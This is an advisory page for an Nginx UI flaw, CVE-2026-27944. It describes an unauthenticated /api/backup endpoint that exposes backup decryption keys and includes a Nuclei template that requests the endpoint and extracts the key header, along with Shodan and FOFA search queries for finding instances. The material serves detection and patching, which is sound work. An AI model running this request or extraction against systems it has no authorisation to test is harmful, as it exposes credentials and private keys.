Nginx UI < 2.3.3 - Information Disclosure

criticalseverity

9.8CVSS score

22.8%likelihood of exploitation, next 30 days

98%of all CVEs are less likely

Readycheck to confirm it

Nginx UI < 2.3.3 contains an information disclosure vulnerability caused by unauthenticated access to /api/backup endpoint exposing encryption keys in X-Backup-Security header, letting unauthenticated attackers download and decrypt full system backups.

Impact

Unauthenticated attackers can access and decrypt full system backups, exposing sensitive data including credentials and private keys.

Fix

Upgrade to version 2.3.3 or later.

How to confirm it

Send: GET {{BaseURL}}/api/backup
Positive when: contains in header "X-Backup-Security" and "application/zip" AND contains in header "attachment; filename=" AND status 200

Run it with nuclei: nuclei -id CVE-2026-27944 -u <target>

The full check

id: CVE-2026-27944

info:
  name: Nginx UI < 2.3.3 - Information Disclosure
  author: omarkurt
  severity: critical
  description: |
    Nginx UI < 2.3.3 contains an information disclosure vulnerability caused by unauthenticated access to /api/backup endpoint exposing encryption keys in X-Backup-Security header, letting unauthenticated attackers download and decrypt full system backups.
  impact: |
    Unauthenticated attackers can access and decrypt full system backups, exposing sensitive data including credentials and private keys.
  remediation: |
    Upgrade to version 2.3.3 or later.
  reference:
    - https://github.com/advisories/GHSA-g9w5-qffc-6762
    - https://www.tenable.com/security/research/tra-2026-17
    - https://vulnerabletarget.com/VT-2026-27944
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-27944
    epss-score: 0.22842
    epss-percentile: 0.9775
    cwe-id: CWE-306
  metadata:
    verified: true
    max-request: 1
    vendor: 0xjacky
    product: nginx-ui
    shodan-query: http.title:"nginx ui"
    fofa-query: title="nginx ui"
  tags: cve,cve2026,nginx-ui,unauth,exposure,vkev

http:
  - method: GET
    path:
      - "{{BaseURL}}/api/backup"

    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - "X-Backup-Security"
          - "application/zip"
        condition: and

      - type: word
        part: header
        words:
          - "attachment; filename="

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        part: header
        group: 1
        name: backup_security_header
        regex:
          - "X-Backup-Security: (.+)"

References

Use this check only on systems you are authorised to test. Where the data comes from